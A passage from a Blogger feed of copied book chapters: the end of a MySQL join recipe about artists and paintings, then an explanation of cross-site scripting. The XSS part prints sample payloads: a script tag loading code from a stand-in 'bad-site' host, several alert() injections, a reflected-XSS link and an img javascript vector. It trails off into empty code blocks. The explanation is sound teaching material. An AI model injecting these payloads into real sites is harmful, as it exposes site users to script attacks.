column output list&lt;br /&gt;that names specifically only those columns in which&lt;br /&gt;you're interested:&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;PRE&gt;mysql&amp;gt; &lt;B&gt;SELECT artist.name, painting.title, painting.state, painting.price&lt;/B&gt;&lt;br /&gt;    -&amp;gt; &lt;B&gt;FROM artist, painting&lt;/B&gt;&lt;br /&gt;    -&amp;gt; &lt;B&gt;WHERE artist.a_id = painting.a_id;&lt;/B&gt;&lt;br /&gt;+----------+-------------------+-------+-------+&lt;br /&gt;| name     | title             | state | price |&lt;br /&gt;+----------+-------------------+-------+-------+&lt;br /&gt;| Da Vinci | The Last Supper   | IN    |    34 |&lt;br /&gt;| Da Vinci | The Mona Lisa     | MI    |    87 |&lt;br /&gt;| Van Gogh | Starry Night      | KY    |    48 |&lt;br /&gt;| Van Gogh | The Potato Eaters | KY    |    67 |&lt;br /&gt;| Van Gogh | The Rocks         | IA    |    33 |&lt;br /&gt;| Renoir   | Les Deux Soeurs   | NE    |    64 |&lt;br /&gt;+----------+-------------------+-------+-------+&lt;/PRE&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;By adding other conditions to the &lt;TT&gt;WHERE&lt;/TT&gt; clause,&lt;br /&gt;you can use row-matching queries to answer more specific questions,&lt;br /&gt;such as the following:&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;UL&gt;&lt;br /&gt;&lt;LI&gt;&lt;P class="docList"&gt;Which paintings did Van Gogh paint? To answer this question, identify&lt;br /&gt;the record from the &lt;TT&gt;artist&lt;/TT&gt; table that corresponds&lt;br /&gt;to the artist name, use its &lt;TT&gt;a_id&lt;/TT&gt; value to find&lt;br /&gt;matching records in the &lt;TT&gt;painting&lt;/TT&gt; table, and select&lt;br /&gt;the title from those records:&lt;br /&gt;&lt;/P&gt;&lt;PRE&gt;mysql&amp;gt; &lt;B&gt;SELECT painting.title&lt;/B&gt;&lt;br /&gt;    -&amp;gt; &lt;B&gt;FROM artist, painting&lt;/B&gt;&lt;br /&gt;    -&amp;gt; &lt;B&gt;WHERE artist.name = 'Van Gogh' AND artist.a_id = painting.a_id;&lt;/B&gt;&lt;br /&gt;+-------------------+&lt;br /&gt;| title             |&lt;br /&gt;+-------------------+&lt;br /&gt;| Starry Night      |&lt;br /&gt;| The Potato Eaters |&lt;br /&gt;| The Rocks         |&lt;br /&gt;+-------------------+&lt;/PRE&gt;&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;&lt;P class="docList"&gt;Who painted "The Mona Lisa"? To&lt;br /&gt;find out, go in the other direction, using information in the&lt;br /&gt;&lt;TT&gt;painting&lt;/TT&gt; table to find information in the&lt;br /&gt;&lt;TT&gt;artist&lt;/TT&gt; table:&lt;br /&gt;&lt;/P&gt;&lt;PRE&gt;mysql&amp;gt; &lt;B&gt;SELECT artist.name&lt;/B&gt;&lt;br /&gt;    -&amp;gt; &lt;B&gt;FROM artist, painting&lt;/B&gt;&lt;br /&gt;    -&amp;gt; &lt;B&gt;WHERE painting.title = 'The Mona Lisa' AND painting.a_id = artist.a_id;&lt;/B&gt;&lt;br /&gt;+----------+&lt;br /&gt;| name     |&lt;br /&gt;+----------+&lt;br /&gt;| Da Vinci |&lt;br /&gt;+----------+&lt;/PRE&gt;&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;&lt;P class="docList"&gt;Which artists' paintings did you purchase in&lt;br /&gt;Kentucky or Indiana? This is somewhat similar to the last query, but&lt;br /&gt;tests a different column in the &lt;TT&gt;painting&lt;/TT&gt; table to&lt;br /&gt;find the initial set of records to be joined with the&lt;br /&gt;&lt;TT&gt;artist&lt;/TT&gt; table:&lt;br /&gt;&lt;/P&gt;&lt;PRE&gt;mysql&amp;gt; &lt;B&gt;SELECT DISTINCT artist.name&lt;/B&gt;&lt;br /&gt;    -&amp;gt; &lt;B&gt;FROM artist, painting&lt;/B&gt;&lt;br /&gt;    -&amp;gt; &lt;B&gt;WHERE painting.state IN ('KY','IN') AND artist.a_id = painting.a_id;&lt;/B&gt;&lt;br /&gt;+----------+&lt;br /&gt;| name     |&lt;br /&gt;+----------+&lt;br /&gt;| Da Vinci |&lt;br /&gt;| Van Gogh |&lt;br /&gt;+----------+&lt;/PRE&gt;&lt;P class="docList"&gt;The query also uses &lt;TT&gt;DISTINCT&lt;/TT&gt; to display each&lt;br /&gt;artist name just once. Try it without &lt;TT&gt;DISTINCT&lt;/TT&gt; and&lt;br /&gt;you'll see that Van Gogh is listed&lt;br /&gt;twice�that's because you obtained two Van&lt;br /&gt;Goghs in Kentucky.&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;&lt;P class="docList"&gt;Joins can also be used with aggregate&lt;br /&gt;functions to produce&lt;br /&gt;summaries. For example, to find out how&lt;br /&gt;many paintings you have per artist, use this query:&lt;br /&gt;&lt;/P&gt;&lt;PRE&gt;mysql&amp;gt; &lt;B&gt;SELECT artist.name, COUNT(*) AS 'number of paintings'&lt;/B&gt;&lt;br /&gt;    -&amp;gt; &lt;B&gt;FROM artist, painting&lt;/B&gt;&lt;br /&gt;    -&amp;gt; &lt;B&gt;WHERE artist.a_id = painting.a_id&lt;/B&gt;&lt;br /&gt;    -&amp;gt; &lt;B&gt;GROUP BY artist.name;&lt;/B&gt;&lt;br /&gt;+----------+---------------------+&lt;br /&gt;| name     | number of paintings |&lt;br /&gt;+----------+---------------------+&lt;br /&gt;| Da Vinci |                   2 |&lt;br /&gt;| Renoir   |                   1 |&lt;br /&gt;| Van Gogh |                   3 |&lt;br /&gt;+----------+---------------------+&lt;/PRE&gt;&lt;P class="docList"&gt;A more elaborate query might also show how much you paid for each&lt;br /&gt;artist's paintings, in total and on average:&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;&lt;PRE&gt;mysql&amp;gt; &lt;B&gt;SELECT artist.name,&lt;/B&gt;&lt;br /&gt;    -&amp;gt; &lt;B&gt;COUNT(*) AS 'number of paintings',&lt;/B&gt;&lt;br /&gt;    -&amp;gt; &lt;B&gt;SUM(painting.price) AS 'total price',&lt;/B&gt;&lt;br /&gt;    -&amp;gt; &lt;B&gt;AVG(painting.price) AS 'average price'&lt;/B&gt;&lt;br /&gt;    -&amp;gt; &lt;B&gt;FROM artist, painting WHERE artist.a_id = painting.a_id&lt;/B&gt;&lt;br /&gt;    -&amp;gt; &lt;B&gt;GROUP BY artist.name;&lt;/B&gt;&lt;br /&gt;+----------+---------------------+-------------+---------------+&lt;br /&gt;| name     | number of paintings | total price | average price |&lt;br /&gt;+----------+---------------------+-------------+---------------+&lt;br /&gt;| Da Vinci |                   2 |         121 |       60.5000 |&lt;br /&gt;| Renoir   |                   1 |          64 |       64.0000 |&lt;br /&gt;| Van Gogh |                   3 |         148 |       49.3333 |&lt;br /&gt;+----------+---------------------+-------------+---------------+&lt;/PRE&gt;&lt;/LI&gt;&lt;br /&gt;&lt;/UL&gt;&lt;br /&gt;&lt;P class="docText"&gt;Note that the summary queries produce output only for those artists&lt;br /&gt;in the &lt;TT&gt;artist&lt;/TT&gt; table for whom you actually have&lt;br /&gt;acquired paintings. (For example, Monet is listed in the&lt;br /&gt;&lt;TT&gt;artist&lt;/TT&gt; table but is not present in the summary&lt;br /&gt;because you don't have any of his paintings yet.) If&lt;br /&gt;you want the summary to include all artists, even if you have none of&lt;br /&gt;their paintings yet, you must use a different kind of&lt;br /&gt;join�specifically, a &lt;TT&gt;LEFT&lt;/TT&gt;&lt;br /&gt;&lt;TT&gt;JOIN&lt;/TT&gt;. See Recipe 12.6 and&lt;br /&gt;Recipe 12.9.&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;TABLE CELLSPACING="0" WIDTH="90%" BORDER="1"&gt;&lt;TR&gt;&lt;TD&gt;&lt;br /&gt;&lt;H2 class="docSidebarTitle"&gt;Joins and Indexes&lt;/H2&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Because a join can easily cause MySQL to process&lt;br /&gt;large numbers of row combinations, it's a good idea&lt;br /&gt;to make sure that the columns you're comparing are&lt;br /&gt;indexed. Otherwise, performance can drop off quickly as table sizes&lt;br /&gt;increase. For the &lt;TT&gt;artist&lt;/TT&gt; and&lt;br /&gt;&lt;TT&gt;painting&lt;/TT&gt; tables, joins are made based on the&lt;br /&gt;values in the &lt;TT&gt;a_id&lt;/TT&gt; column of each table. If you&lt;br /&gt;look back at the &lt;TT&gt;CREATE&lt;/TT&gt; &lt;TT&gt;TABLE&lt;/TT&gt;&lt;br /&gt;statements that were shown for these tables in Recipe 12.5, you'll see that&lt;br /&gt;&lt;TT&gt;a_id&lt;/TT&gt; is indexed in each table.&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;td&gt;&lt;/td&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#CCCCCC"&gt;&lt;br /&gt;&lt;td&gt;&lt;font color="black" size=1&gt;I l&lt;font color="#FF0000"&gt;@&lt;/font&gt;ve RuBoard&lt;/td&gt;&lt;br /&gt;&lt;td valign="top" class="v2" align="right"&gt;&lt;br /&gt;          &lt;br /&gt;          &lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-7627817021355736639?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/7627817021355736639/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/125-finding-rows-in-one-table-that.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/7627817021355736639'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/7627817021355736639'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/125-finding-rows-in-one-table-that.html' title='12.5 Finding Rows in One Table That Match Rows in Another'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-2259656329984038421</id><published>2009-11-13T07:49:00.043-08:00</published><updated>2009-11-13T07:49:50.523-08:00</updated><title type='text'>Cross-site Scripting (XSS)</title><content type='html'>&lt;br /&gt; &lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0" align="center"&gt;&lt;br /&gt;  &lt;br /&gt;&lt;tr&gt;&lt;br /&gt;    &lt;br /&gt;&lt;td align="center" id="_navigtop"&gt;&lt;br /&gt;&lt;table width="100%" cellpadding="0" cellspacing="0" id="_navigtop"&gt;&lt;br /&gt;      &lt;br /&gt;&lt;tr&gt;&lt;br /&gt;        &lt;br /&gt;&lt;td colspan="3" height="1" background="images/bg.jpg"&gt;&lt;/td&gt;&lt;br /&gt;  &lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;      &lt;br /&gt;&lt;tr&gt;&lt;br /&gt;        &lt;br /&gt;&lt;td width="5%" bgcolor="#D6D7D9" class="v2" align="left"&gt;&lt;font class="navig"&gt;Prev&lt;/td&gt;&lt;br /&gt;       &lt;br /&gt;        &lt;td width="90%" bgcolor="#D6D7D9" align="center"&gt;&lt;font class="info"&gt;don't be afraid of buying books&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;        &lt;td width="5%" bgcolor="#D6D7D9" class="v2" align="right"&gt;&lt;font class="navig"&gt;Next&lt;/td&gt;&lt;br /&gt;      &lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;	  &lt;br /&gt;&lt;tr&gt;&lt;br /&gt;	  &lt;br /&gt;&lt;td colspan="4" height="1" background="images/bg.jpg"&gt;&lt;/td&gt;&lt;br /&gt;	  &lt;br /&gt;&lt;/tr&gt;&lt;br /&gt; &lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;  &lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;  &lt;br /&gt;&lt;tr&gt;&lt;br /&gt;    &lt;br /&gt;&lt;td align="center" id="_middle"&gt;&lt;br /&gt;&lt;table width="95%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;td align="left" class="v2"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3 class="docSection1Title" id="68875-940"&gt;Cross-site Scripting&lt;br /&gt;(XSS)&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;br /&gt;&lt;span class="docEmphasis"&gt;Cross-site&lt;br /&gt;scripting&lt;/span&gt; (XSS) has become a popular subject in security,&lt;br /&gt;but XSS is really only yet another example of in-band signals being&lt;br /&gt;interpreted by client software&amp;#151;in this case, the Web browser.&lt;br /&gt;XSS is a popular attack because Web sites are both common and&lt;br /&gt;numerous.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;To carry out an XSS attack, an attacker can&lt;br /&gt;place a booby trap within data using special escape codes. This is&lt;br /&gt;a modern form of using terminal escape codes in filenames or talk&lt;br /&gt;requests. The terminal, in this case, is the Web browser that&lt;br /&gt;includes advanced features such as the capability to run embedded&lt;br /&gt;Javascripts. An attack can inject some toxic Javascript or some&lt;br /&gt;other mobile code element into data that are later read and&lt;br /&gt;executed by another user of the server. The code executes on the&lt;br /&gt;victim's client machine, sometimes causing havoc for the victim. Figure 5-1 shows an example&lt;br /&gt;of Web-based XSS in action.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 class="docFigureTitle"&gt;Figure 5-1. XSS illustrated. The&lt;br /&gt;attacker sends active content to a victim (1), which invokes a&lt;br /&gt;script on the vulnerable Web site (2). Later, once invoked by a Web&lt;br /&gt;browser, hitting the vulnerable Web site (3), the script runs (4)&lt;br /&gt;and allows the attacker access (5).&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;In some cases an attacker may be able to include&lt;br /&gt;a script such as the following in a payload:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;script SRC='http://bad-site/badfile'&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;In this case the script source is obtained from&lt;br /&gt;an &lt;span class="docEmphasis"&gt;outside&lt;/span&gt; system. The final&lt;br /&gt;script, however, is executed in the security context of the&lt;br /&gt;browser&amp;#150;server connection of the &lt;span class="docEmphasis"&gt;original&lt;/span&gt; site. The "cross-site" label in&lt;br /&gt;the name originates from the fact that the script source is&lt;br /&gt;obtained from an outside, untrusted source.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 class="docSection2Title"&gt;* Attack Example: Javascript Alert&lt;br /&gt;Dialog XXS&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;One innocuous kind of XSS attack causes a pop-up&lt;br /&gt;dialog to spin, saying whatever the attacker supplies. This is&lt;br /&gt;commonly used as a test against a site. An attacker simply inserts&lt;br /&gt;the following script code into input forms on the target site:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;script&amp;gt;alert("some text");&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;When viewing subsequent pages, the attacker&lt;br /&gt;expects that a dialog box with "some text" will pop up.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 class="docSection2Title"&gt;Using Reflection against Trusted&lt;br /&gt;Sites&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;Consider a situation in which an attacker sends&lt;br /&gt;e-mail that contains an embedded script. The victim may not trust&lt;br /&gt;the e-mail message and may thus have scripting disabled. The attack&lt;br /&gt;therefore fails.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;Now assume that the same victim uses a popular&lt;br /&gt;on-line system. The attacker may know that the victim uses and&lt;br /&gt;trusts the on-line system. The attacker may also have found an XSS&lt;br /&gt;vulnerability on the target system. Armed with this knowledge, the&lt;br /&gt;attacker can send e-mail with a link to the trusted target site&lt;br /&gt;embedded. The link may contain data that are posted to the target site, doing something such as&lt;br /&gt;posting a message. The link may look something like&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;a href="trusted.site.com/cgi-bin/post_message.pl?my message goes here"&amp;gt;click me&amp;lt;/a&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;If the victim clicks the link, the message "my&lt;br /&gt;message goes here" will be posted to the target site. The target&lt;br /&gt;site will then display the message back to the victim. This is a&lt;br /&gt;very common form of XSS attack. Thus, a cross-site problem on the&lt;br /&gt;target site can be used to echo script back to the victim. The&lt;br /&gt;script is not contained in the e-mail itself, but is instead&lt;br /&gt;"bounced" off the target site. Once the victim views the data that&lt;br /&gt;were posted, the script becomes active in the victim's browser.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;The following link may result in a Javascript&lt;br /&gt;pop-up message:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div&amp;gt;&lt;br /&gt;[View full width]&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;a href="trusted.site.com/cgi-bin/post_message.pl?&amp;amp;ltscript&amp;amp;gtalert('hello!')&amp;amp;lt&lt;br /&gt;&lt;br /&gt;/script&amp;amp;gt"&amp;gt;click me&amp;lt;/a&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;The message posted to the server is&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;amp;ltscript&amp;amp;gtalert('hello!')&amp;amp;lt/script&amp;amp;gt&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;and the target server is likely to convert this&lt;br /&gt;text (because of the escape characters) to&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;script&amp;gt;alert('hello!')&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;Thus, when the victim views the result of their&lt;br /&gt;post, their browser is given script code to execute.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;table cellspacing="0" width="90%" border="1" cellpadding="5"&gt;&lt;br /&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;td&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2 class="docSidebarTitle"&gt;Attack Pattern: Simple Script&lt;br /&gt;Injection&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;As a normal user of a system there are&lt;br /&gt;opportunities to supply input to the system. This input may include&lt;br /&gt;text, numbers, cookies, parameters, and so forth. Once these values&lt;br /&gt;are accepted by the system, they may be stored and used later. If&lt;br /&gt;the data are used in a server response (such as a message board,&lt;br /&gt;where the data are stored and then displayed back to users), an&lt;br /&gt;attacker can "pollute" these data with code that will be&lt;br /&gt;interpreted by unsuspecting client terminals.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 class="docSection3Title"&gt;* Attack Example: Simple Script&lt;br /&gt;Injection&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;If a database stores text records, an attacker&lt;br /&gt;can insert a record that contains Javascript. The Javascript might&lt;br /&gt;be something like&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;script&amp;gt;alert("Warning, boot sector corrupted");&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;This causes a pop-up message on the client&lt;br /&gt;terminal that displays the (fake) error message. An unsuspecting&lt;br /&gt;user might be highly confused by this. A more insidious attack&lt;br /&gt;might include a script to alter files on the client hard drive or&lt;br /&gt;proxy an attack.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;ICQ (a large company acquired by AOL) had a&lt;br /&gt;problem like this on their Web site. A user could paste malicious&lt;br /&gt;HTML code or script into a message that would later be displayed to&lt;br /&gt;other users. The attack URL looked something like this:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;http://search.icq.com/dirsearch.adp?query&amp;lt;script&amp;gt;alert('hello');&amp;lt;/script&amp;gt;est&amp;amp;wh=is&amp;amp;users=1&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;Many Web sites that maintain guest books or&lt;br /&gt;message bases suffer from these problems. The popular geek news&lt;br /&gt;site Slashdot.org, for example, had such&lt;br /&gt;a problem (recently corrected). Testing for this problem is simple:&lt;br /&gt;The attacker pastes script into an input field and observes the&lt;br /&gt;result.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;table cellspacing="0" width="90%" border="1" cellpadding="5"&gt;&lt;br /&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;td&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2 class="docSidebarTitle"&gt;Attack Pattern: Embedding Script in&lt;br /&gt;Nonscript Elements&lt;/h2&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;Script does not need to be inserted between&lt;br /&gt;&lt;tt&gt;&amp;lt;script&amp;gt;&lt;/tt&gt; tags. Instead, script can appear as part of&lt;br /&gt;another HTML tag, such as the image tag. The injection vector&lt;br /&gt;is&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;img src=javascript:alert(document.domain)&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 class="docSection3Title"&gt;* Attack Example: Embedded Script in&lt;br /&gt;Nonscript Element from GNU Mailman XXS&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;Consider the following URL:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br 